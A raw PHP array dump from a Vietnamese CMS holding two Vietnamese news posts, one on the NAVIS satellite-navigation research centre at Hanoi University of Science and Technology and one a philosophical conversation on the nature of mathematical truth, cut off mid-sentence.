'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký 